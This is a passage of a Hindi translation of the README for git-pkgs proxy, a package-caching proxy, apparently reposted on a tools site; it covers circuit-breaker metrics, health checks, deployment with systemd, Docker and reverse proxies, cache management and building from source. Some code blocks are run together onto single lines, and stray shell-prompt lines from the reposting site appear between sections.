| `proxy_circuit_breaker_state` | gauge | `registry` | प्रति अपस्ट्रीम रजिस्ट्री आर्टिफ़ैक्ट-फ़ेच सर्किट ब्रेकर स्थिति (0 closed, 2 open)। उस रजिस्ट्री के ब्रेकर के ट्रिप होने के बाद प्रकाशित। |
| `proxy_circuit_breaker_trips_total` | counter | `registry` | प्रति अपस्ट्रीम रजिस्ट्री सर्किट ब्रेकर ट्रिप्स। |

कैश आकार और आर्टिफ़ैक्ट गणना हर 60 सेकंड में रीफ़्रेश होती है। सर्किट ब्रेकर स्थिति `/metrics` के प्रत्येक स्क्रैप और प्रत्येक `/health` अनुरोध पर फ़ेचर से पढ़ी जाती है, इसलिए `proxy_circuit_breaker_trips_total` उन ट्रिप्स की गणना करता है जो उन रीड्स के बीच दिखाई देती हैं — एक ब्रेकर जो दो स्क्रैप्स के बीच पूरी तरह खुलकर रिकवर हो जाता है, उसकी गणना नहीं होती। शेष मेट्रिक्स प्रत्येक अनुरोध पर अपडेट होते हैं।

ब्रेकर मेट्रिक्स में प्रति अपस्ट्रीम होस्ट एक सीरीज़ होती है, लेकिन केवल उन होस्ट्स के लिए जिनके ब्रेकर स्टार्टअप के बाद से कम से कम एक बार ट्रिप हुए हैं। प्रॉक्सी जिन होस्ट्स से आर्टिफ़ैक्ट्स फ़ेच करता है, उनमें से प्रत्येक के लिए एक ब्रेकर बनाया जाता है, और कुछ इकोसिस्टम्स के लिए वह होस्ट कॉन्फ़िगरेशन के बजाय अपस्ट्रीम मेटाडेटा से आता है (composer इसे पैकेज के `dist.url` से लेता है, helm `index.yaml` में चार्ट URLs से), इसलिए प्रत्येक होस्ट को प्रकाशित करने से अपस्ट्रीम सामग्री प्रोसेस के जीवनकाल तक सीरीज़ गणना को बढ़ा सकती है। एक बार होस्ट ट्रिप हो जाने के बाद वह रिपोर्ट करता रहता है, इसलिए रिकवरी भी गायब होने वाली सीरीज़ के बजाय 0 में संक्रमण के रूप में दिखाई देती है। `/health` एक स्थायी टाइम सीरीज़ नहीं है और प्रत्येक ब्रेकर को सूचीबद्ध करता है, ट्रिप हुआ हो या नहीं।

`registry` लेबल उस URL का होस्ट है जिससे आर्टिफ़ैक्ट फ़ेच किया गया था। चूँकि वह URL अपस्ट्रीम मेटाडेटा से आ सकता है, यह हमेशा ऐसा नहीं होता जिससे होस्ट पढ़ा जा सके — उदाहरण के लिए, एक साइन किया गया `dist.url` जो पार्स होने में विफल हो जाता है — और ऐसे ब्रेकर को इसके बजाय `hostless-url-<digest>` लेबल किया जाता है, जहाँ digest स्टार्टअप पर ताज़ा निकाले गए मान द्वारा कीड होता है। न `/metrics` और न ही `/health` को ऑथेंटिकेशन की आवश्यकता होती है, इसलिए फ़ेच URL को कभी लेबल या की के रूप में प्रकाशित नहीं किया जाता; digest प्रोसेस के चलने तक ब्रेकर की पहचान करता है, बिना उसके पीछे के URL को उजागर किए या चुने गए URL को उससे मैच होने देने के।

`proxy_circuit_breaker_state == 2` पर कुछ मिनटों से अधिक समय तक बने रहने पर अलर्ट करें: जबकि एक ब्रेकर खुला होता है, उस अपस्ट्रीम के लिए आर्टिफ़ैक्ट डाउनलोड प्रत्येक कैश मिस पर HTTP 502 के साथ विफल होते हैं, और प्रति बैकऑफ़ अंतराल में केवल एक प्रोब अनुरोध अपस्ट्रीम तक पहुँचता है। कैश किए गए आर्टिफ़ैक्ट्स सर्व होते रहते हैं, और उसी इकोसिस्टम के लिए मेटाडेटा भी (मेटाडेटा सर्किट ब्रेकर से नहीं गुज़रता), इसलिए इंस्टॉल ऐसे तरीके से विफल होते हैं जो आंशिक अपस्ट्रीम आउटेज जैसा दिखता है।

### हेल्थ चेक

`/health` सबसिस्टम हेल्थ की एक संरचित JSON रिपोर्ट लौटाता है। यदि सभी चेक पास होते हैं तो HTTP 200; यदि कोई भी विफल होता है तो 503।```json
{
  "status": "ok",
  "checks": {
    "database": {"status": "ok"},
    "storage":  {"status": "ok"}
  },
  "circuit_breakers": {
    "registry.npmjs.org": "closed",
    "static.crates.io":   "open"
  }
}

फेल होने वाली जाँचों में एक "error" फ़ील्ड शामिल होता है। स्टोरेज विफलताओं में एक "step" फ़ील्ड भी शामिल होता है जो बताता है कि कौन-सा प्रोब चरण विफल हुआ (write, size, read, verify, delete)। जब डेटाबेस जाँच विफल होती है, तो स्टोरेज प्रविष्टि {"status": "skipped"} रिपोर्ट करती है ताकि प्रतिक्रिया में हमेशा समान की-सेट रहे।

circuit_breakers प्रत्येक अपस्ट्रीम के आर्टिफ़ैक्ट-फ़ेच सर्किट ब्रेकर की स्थिति ("open" या "closed") रिपोर्ट करता है, जिसे अपस्ट्रीम होस्ट द्वारा कीड किया जाता है — या उस hostless-url-<digest> प्लेसहोल्डर द्वारा जिसका वर्णन Monitoring के अंतर्गत किया गया है, जहाँ फ़ेच URL में पढ़ने के लिए कोई होस्ट नहीं होता। यह की तब तक छोड़ी जाती है जब तक प्रॉक्सी ने कम से कम एक अपस्ट्रीम से कोई आर्टिफ़ैक्ट फ़ेच न कर लिया हो, और कोई होस्ट तभी प्रकट होता है जब उसके लिए कोई ब्रेकर बन चुका हो। बार-बार अपस्ट्रीम विफलताओं के बाद ब्रेकर ट्रिप हो जाते हैं और एक्सपोनेंशियल बैकऑफ़ के बाद अपस्ट्रीम को पुनः प्रयास करते हैं। जब कोई खुला होता है, तो उस होस्ट के लिए आर्टिफ़ैक्ट डाउनलोड कैश मिस पर HTTP 502 लौटाते हैं, बिना अपस्ट्रीम से संपर्क किए; पहले से कैश किए गए आर्टिफ़ैक्ट अभी भी स्टोरेज से परोसे जाते हैं, क्योंकि कैश की जाँच फ़ेचर से पहले की जाती है। एक ब्रेकर को उसके पूरे बैकऑफ़ के दौरान "open" के रूप में रिपोर्ट किया जाता है, जिसमें वह हाफ़-ओपन विंडो भी शामिल है जिसमें यह रिकवरी परखने के लिए एक प्रोब अनुरोध स्वीकार करता है। ब्रेकर की स्थिति प्रति प्रोसेस और इन-मेमोरी होती है, इसलिए रीस्टार्ट इसे साफ़ कर देता है, लेकिन रिकवरी के लिए रीस्टार्ट की आवश्यकता नहीं होती: जब तक ब्रेकर खुला रहता है, बैकऑफ़ पुनः प्रयास करता रहता है, इसलिए अपस्ट्रीम के फिर से सेवा देने पर यह स्वयं बंद हो जाता है।

एक खुला ब्रेकर status को "error" पर सेट नहीं करता और न ही HTTP स्टेटस कोड बदलता है: यह किसी विशिष्ट अपस्ट्रीम के सेवा देने से इनकार करने की रिपोर्ट करता है, न कि इस प्रॉक्सी के ट्रैफ़िक प्राप्त करने के लिए अनुपयुक्त होने की, और एक अस्वस्थ अपस्ट्रीम के कारण रेडीनेस प्रोब विफल करने से पॉड हर अन्य इकोसिस्टम के लिए भी रोटेशन से बाहर हो जाएगा। इस पर अलर्ट करने के लिए proxy_circuit_breaker_state का उपयोग करें।

रिमोट बैकएंड को प्रोब करने की लागत को सीमित करने के लिए स्टोरेज प्रोब परिणाम health.storage_probe_interval (डिफ़ॉल्ट 30s) के लिए कैश किए जाते हैं। एक प्रोब अधिकतम 10 सेकंड (हार्डकोडेड प्रति-प्रोब टाइमआउट) तक एक आंतरिक म्यूटेक्स रखता है, इसलिए /health का उद्देश्य एक Kubernetes readiness प्रोब है, न कि liveness प्रोब — एक धीमा S3 राउंड-ट्रिप पॉड को रोटेशन से हटाना चाहिए, न कि उसे रीस्टार्ट करना।

Prometheus के लिए स्क्रैप कॉन्फ़िग:```yaml scrape_configs:

  • job_name: git-pkgs-proxy static_configs:
    • targets: ["localhost:8080"]
root@kitploit:~
## प्रोडक्शन परिनियोजन

### Systemd सेवा

`/etc/systemd/system/proxy.service` बनाएँ:```ini
[Unit]
Description=git-pkgs proxy
After=network.target

[Service]
Type=simple
User=proxy
ExecStart=/usr/local/bin/proxy -config /etc/proxy/config.yaml
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

सक्षम करें और प्रारंभ करें:```bash sudo systemctl enable proxy sudo systemctl start proxy

root@kitploit:~
### Docker

रेपो में एक Dockerfile शामिल है। बिल्ड करें और चलाएँ:```bash
docker build -t proxy .
docker run -p 8080:8080 -v proxy-data:/data proxy

Postgres और S3 के साथ:```bash docker run -p 8080:8080
-e PROXY_DATABASE_DRIVER=postgres
-e PROXY_DATABASE_URL=postgres://user:pass@db:5432/proxy
-e PROXY_STORAGE_URL=s3://my-bucket?region=us-east-1
-e AWS_ACCESS_KEY_ID=...
-e AWS_SECRET_ACCESS_KEY=...
proxy

root@kitploit:~
### रिवर्स प्रॉक्सी के पीछे

nginx, Apache, या किसी अन्य रिवर्स प्रॉक्सी के पीछे चलाते समय, `base_url` को अपने सार्वजनिक URL पर सेट करें:```yaml
base_url: "https://proxy.example.com"

यदि UI किसी भिन्न hostname पर पहुँचा जाता है, जो package endpoints से अलग है — उदाहरण के लिए, UI सार्वजनिक रूप से किसी domain पर exposed है जबकि build machines किसी Docker network alias को hit करती हैं — तो ui_base_url को अलग से सेट करें। base_url वह URL है जिसका उपयोग package managers और metadata rewriting करते हैं; ui_base_url वह URL है जो web UI पर आने वाले मनुष्यों को दिखाया जाता है (canonical/og:url tags और install guide banner):```yaml base_url: "http://pkg-proxy:8080" # internal alias for build machines ui_base_url: "https://proxy.example.com/ui" # public UI URL

root@kitploit:~
जब unset हो, तो `ui_base_url` डिफ़ॉल्ट रूप से `base_url` होता है।

> **चेतावनी:** proxy UI और package endpoints को एक ही listener पर serve करता है। `ui_base_url` सेट करने से केवल यह बदलता है कि UI मनुष्यों को कौन-सा URL advertise करता है; यह नहीं रोकता कि package endpoints उसी hostname और port पर reachable रहें। proxy को public reverse proxy के साथ front करते समय, public route को `PathPrefix(/ui)` (या आपके proxy के समतुल्य) तक सीमित करें, अन्यथा `/npm`, `/pypi`, और अन्य package endpoints UI के साथ-साथ exposed रहते हैं।

nginx उदाहरण, public host को UI तक सीमित करते हुए जबकि package endpoints केवल internal listener पर reachable रहें:```nginx
server {
    listen 443 ssl;
    server_name proxy.example.com;

    location /ui/ {
        proxy_pass http://127.0.0.1:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_buffering off;
    }

    location / {
        return 404;
    }
}

Traefik उदाहरण PathPrefix(/ui) का उपयोग करते हुए ताकि सार्वजनिक राउटर केवल UI ट्रैफ़िक से मेल खाए:```yaml labels: traefik.enable: "true" traefik.http.services.pkg-proxy.loadbalancer.server.port: "8080" traefik.http.routers.pkg-proxy.rule: "Host(proxy.example.com) && PathPrefix(/ui)" traefik.http.routers.pkg-proxy.entrypoints: "websecure"

root@kitploit:~
## कैश प्रबंधन

प्रॉक्सी कॉन्फ़िगर की गई स्टोरेज डायरेक्टरी में इस संरचना के साथ आर्टिफैक्ट्स को संग्रहीत करता है:```
cache/artifacts/
├── npm/
│   └── lodash/
│       └── 4.17.21/
│           └── lodash-4.17.21.tgz
├── cargo/
│   └── serde/
│       └── 1.0.193/
│           └── serde-1.0.193.crate
├── oci/
│   └── library/nginx/
│       └── sha256:abc123.../
│           └── sha256:abc123...
├── deb/
│   └── nginx/
│       └── 1.18.0-6/
│           └── nginx_1.18.0-6_amd64.deb
└── rpm/
    └── nginx/
        └── 1.24.0-1.fc39/
            └── nginx-1.24.0-1.fc39.x86_64.rpm

कैश मेटाडेटा SQLite (डिफ़ॉल्ट) या PostgreSQL में संग्रहीत किया जाता है। स्थानीय कैश साफ़ करने के लिए:```bash rm -rf ./cache/artifacts/* rm ./cache/proxy.db

root@kitploit:~
प्रॉक्सी अगली बार शुरू होने पर डेटाबेस को फिर से बनाएगा।

## स्रोत से बिल्ड करना

आवश्यकताएँ:

- Go (प्रोजेक्ट संस्करण `go.mod` में घोषित है)```bash
git clone https://github.com/git-pkgs/proxy.git
cd proxy
go build -o proxy ./cmd/proxy

परीक्षण चलाएँ:```bash go test ./...

root@kitploit:~
## लाइसेंस

GPL-3.0-or-later
टूल डाउनलोड करें
✗
ChefChef✗
GenericAny✓
HelmKubernetes✓
VagrantVagrant✗